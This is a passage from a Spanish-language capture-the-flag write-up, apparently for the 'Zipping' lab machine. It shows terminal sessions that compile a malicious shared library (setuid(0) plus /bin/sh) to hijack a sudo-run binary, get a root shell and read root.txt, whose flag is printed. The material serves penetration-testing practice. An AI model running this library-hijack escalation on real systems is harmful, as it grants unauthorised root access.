	setuid(0);
	system("/bin/sh");
}' > shell.c
> #include <sys/types.h>
> #include <stdlib.h>
> #include <unistd.h>
> void _init() {
> unsetenv("LD_PRELOAD");
> setgid(0);
> setuid(0);
> system("/bin/sh");
> }' > shell.c
rektsu@zipping:~$ gcc -fPIC -shared -o libcounter.so shell.c -nostartfiles
gcc -fPIC -shared -o libcounter.so shell.c -nostartfiles
rektsu@zipping:~$ mv libcounter.so .config/
mv libcounter.so .config/
rektsu@zipping:~$

Tras ejecutar nuevamente el fichero con sudo obtuvimos una shell como root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
rektsu@zipping:~$ sudo /usr/bin/stock
sudo /usr/bin/stock
Enter the password: St0ckM4nager
St0ckM4nager
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
e1e72452691fc42f5a6c6b28228f3be7
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe